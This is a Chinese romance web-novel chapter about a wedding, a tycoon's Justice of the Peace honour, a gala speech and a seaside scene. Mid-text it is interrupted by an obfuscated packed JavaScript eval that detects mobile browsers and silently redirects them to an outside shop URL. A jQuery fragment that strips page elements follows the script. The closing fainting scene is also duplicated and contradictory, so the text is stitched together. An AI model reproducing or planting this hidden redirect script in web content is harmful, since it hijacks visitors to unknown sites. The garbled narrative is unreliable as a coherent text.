长胜的官司终于尘埃落定,夏越博胜的生意也逐渐上了轨道。毕竟,只要不是天堃的敌人,在香港的发展之路就基本不会有任何阻碍。
高长胜和康雅言的婚礼这天,几乎聚集了所有亲朋好友。
教堂里阳光明亮,彩绘玻璃将柔和光影投射在红毯之上。
雅言挽着康青杨的手,一步一步走向红毯尽头。
高长胜站在那里,眼眶早已红了。
这一刻,他等了太多年,没有人比他们更清楚,走到今天究竟有多不容易。
最初相识的时候,他们根本就是一对冤家,见面就吵。
雅言脾气火爆,高长胜嘴巴又毒。
当初雅言气得脱下高跟鞋,直接敲在了长胜头上,那一幕后来成了所有朋友口中的经典笑话,也成了只属于他们两个人的回忆。
这些年,他们经历过分离,经历过误会,也经历过人生的高峰与低谷。
兜兜转转那么久,最终还是走回了彼此身边。
所以今天,站在这座教堂里,他们比任何人都明白,能够牵着对方的手走到这里,究竟有多不容易。
交换戒指的之前,牧师微笑着翻开誓词,正准备按照流程让两人宣誓。
谁知高长胜忽然举起手。“等等。”
全场顿时愣住,连牧师都怔了一下。
雅言更是一脸莫名其妙地看着他。
“你又搞什么?”
高长胜却笑了,然后在所有人的注视下,跑到教堂角落拿出一个被藏起来的不大不小的盒子。
打开。里面竟然放着一只高跟鞋。
全场瞬间爆发出笑声。
雅言更是瞪大眼睛。
“高长胜!你发什么神经啊?”
高长胜却一本正经地把高跟鞋递到她手里。
“来。敲我一下。”
教堂里的宾客已经笑得前仰后合。
雅思和雅瞳更是捂着嘴笑出了眼泪。
雅言脸红得不行。“你到底想干什么?”
高长胜望着她,眼神却前所未有地认真。
“牧师准备的誓词很好。但我觉得,那些话都不足以表达我现在的心情。”
他轻轻握住雅言的手,声音缓缓传遍整个教堂。
“这些年,你陪我走过最好的时候,也陪我走过最坏的时候。你骂过我,打过我,甚至拿高跟鞋敲过我的头。”
全场再次笑成一片。
高长胜自己也笑了,然后继续说道:“所以今天,我想告诉你,我的誓言很简单。从今天开始,我愿意一辈子都让你敲我的头。”
教堂忽然安静下来。
高长胜望着已经泪流满面的雅言,声音温柔得不像话。“因为除了你,没有人有这个资格。”
雅言终于忍不住哭了出来。
她举起那只高跟鞋,轻轻敲了一下他的额头,动作轻得像羽毛,高长胜却笑得像个得到全世界的孩子。
交换戒指的时候,雅言声音已经带着哭腔。“我愿意。”
高长胜却舍不得这么快结束,故意凑近她耳边,“还有呢?”
雅言红着眼睛瞪他,“什么还有呢?”
“你还没叫我。”
台下顿时一阵笑声。
雅言脸红得厉害,“老公......”
声音细得像蚊子。
高长胜却故意摇头。
“不够大声。”
全场笑成一片,雅言又羞又恼,眼泪都快被逼出来,最后索性破罐子破摔。
抬起头望着他,用尽力气大声喊道:“Calvin——!”
整个教堂瞬间安静下来。
“我爱你——!”
声音回荡在穹顶之下。
仿佛把这些年所有的委屈、思念、等待、遗憾,全部喊了出来。
高长胜终于忍不住红了眼眶,低头将人紧紧抱进怀里。掌声瞬间响彻整个教堂,经久不息。
他们错过过,伤害过,怨恨过,却从未真正放弃过彼此。
这一次,他们终于不会再分开了。
台下,雅思已经哭得不成样子,雅瞳也不停擦着眼泪。她们比任何人都清楚,这些年雅言到底经历了多少委屈,又付出了多少代价,才终于等来今天。
贺峰坐在一旁,看着台上终于携手走到今天的高长胜和雅言,心里也难得生出几分感动,这些年他们经历过什么,他都看在眼里。
能够走到婚礼这一步,并不容易。他由衷替这对新人高兴。
再侧过头时,却发现自己身边的小妻子早已哭成了泪人,眼眶通红,眼泪一颗接一颗往下掉。
贺峰无奈地笑了笑,从西装口袋里取出手帕,动作轻柔地替她擦去脸上的泪水。
“又不是你结婚。”他低声说道。
雅思吸了吸鼻子,“我替大家姐开心嘛。”
贺峰没有再说什么,只是伸手将她往自己怀里带了带,手臂收紧几分。
感受到怀里的温度,他眼底的笑意也愈发柔和。
台上是有情人终成眷属。
而他最爱的人,此刻就在自己身边。
这样的感觉,真好。
婚礼结束后,所有人还沉浸在喜悦之中。谁也没想到,更大的消息紧随而来。
当天傍晚,香港政府正式公布新一届太平绅士名单。
贺峰的名字赫然在列。
消息传出,整个商界顿时轰动。
这些年,天堃集团的发展有目共睹。慈善基金,教育资助,医疗建设,无数公益项目背后都有贺峰的身影,这个荣誉,实至名归。
一周后,天堃集团举办盛大庆祝晚宴。
维港夜景璀璨,政商名流云集,宴会厅里灯火辉煌,无数人前来举杯祝贺。
贺峰一身白色燕尾服,站在人群中央,举手投足间尽显从容。
而雅思则陪伴在他身旁,黑色晚礼服衬得肌肤胜雪。
两人站在一起,宛如天作之合。
晚宴进行到高潮时,主持人邀请贺峰上台致辞。掌声雷动,贺峰站在聚光灯下,目光缓缓扫过全场。
先是感谢政府授予荣誉,感谢合作伙伴,感谢员工多年的辛苦付出,感谢一路同行的人。所有人都以为致辞即将结束,谁知,贺峰忽然停顿下来,目光穿过人群,落在雅思身上。
整个宴会厅忽然安静。
“其实。我今天最想感谢的人,并不是我刚刚提到的任何一个人。”
雅思微微愣住。下一秒,贺峰已经走下舞台,在所有人的注视下,径直来到她面前,伸出手。
“贺太。愿意陪我上台吗?”
雅思耳根发热,却还是将手放进他掌心。
贺峰牵着她重新走回聚光灯下,十指紧扣,没有松开。
“很多人都觉得,这些年是我照顾她。其实不是。真正支撑我走到今天的人是她。是她教会我信任,教会我如何爱人,也教会我如何重新成为一个值得被爱的人。”
宴会厅安静得落针可闻。雅思早已红了眼眶。
贺峰转头望着她,眼神温柔得几乎能融化所有人。
“这个荣誉属于我,但我的人生属于她。”
掌声骤然响起,而雅思终于忍不住扑进他怀里。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17641029|206213||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
全场欢呼,闪光灯此起彼伏,将这一幕永久定格。
晚宴结束时,贺峰已经微醺,他的确喝了不少,可心情却前所未有地好。
司机原本准备送两人回家,贺峰却忽然改变主意。
“去海边。”
雅思有些意外,“这么晚?”
“今晚开心。”贺峰笑着说,“想散散步。”
两人沿着海岸线慢慢走着,海风轻轻吹来,远处灯塔闪烁。
“Jessica。”
“嗯?”
“喊我名字。”
雅思莫名其妙看着他,“你喝醉了?”
“没有。喊一次。”贺峰带着些恳求的语气。
“不要。”
“喊一次。”贺峰却只是望着她,眼底带着难得一见的少年气。
这些年,他拥有过财富,拥有过权势,拥有过别人穷尽一生都无法企及的地位。
可这一刻,他忽然羡慕起婚礼上的高长胜,羡慕那个能够站在人群中央,听见心爱的人大声喊出自己名字的男人。
有些东西,与身份无关,与财富无关,只是单纯因为那个人是她。
雅思被缠得没办法,最后只好面对大海。
红着脸喊了一句:“Martin——!”
海浪卷走声音,贺峰却不满意。
“再大声一点。”
“不要了吧,会被人笑的。”
“那又怎样?”贺峰轻轻笑了。“我这一生做过很多轰轰烈烈的事,可最值得骄傲的,从来不是那些。”
他握紧她的手,声音低沉而认真。
“是你愿意站在我身边。”
海风吹乱了雅思的头发,她忽然有些明白他的意思。
这个男人站得太高。高到所有人都敬他、怕他、仰望他。可真正能够毫无保留喊出他名字的人,却只有自己。
“Martin——”她终于开口。声音被海风卷向远方。
贺峰嘴角微微扬起。“不够。”
“还来?”
“再大声一点。”
雅思哭笑不得。
“你幼不幼稚?”
“今天允许我幼稚一次。”他说。
雅思瞪了他一眼,最终还是转过身,面对辽阔夜海,深深吸了一口气,然后用尽全身力气喊了出来。
“Martin——!”
声音划破夜空,惊起远处几只海鸟,一声又一声,仿佛要把这些年的风风雨雨全部喊出来。
喊出他们的相遇,喊出他们的错过,喊出那些生离死别,喊出那些失而复得。
而贺峰站在她身后,静静听着,胸腔里某个地方忽然剧烈震动起来。
这一刻,他忽然觉得,自己这一生所有的荣耀与辉煌,所有的野心与成就,都不及她这一声呼唤来得真实。
仿佛从此以后,无论走到哪里,无论经历什么,这个名字都会被她铭记于心。
而她的声音,也会永远留在自己生命里。
“Martin——!”雅思喊到最后已经有些喘不过气。
转过身时,却发现贺峰正望着自己,眼神亮得惊人,像少年终于得到了最想要的奖赏。
下一秒,雅思忽然眼前一黑,整个人晃了晃。
贺峰脸色骤变,一把将她抱住。
最后,雅思索性豁出去,拼尽力气,对着辽阔夜空大声喊:
“Martin——!我好讨厌你——!”
话音刚落。忽然一阵头晕,眼前发黑,整个人晕了过了。
贺峰脸色瞬间变了,一把将她抱起。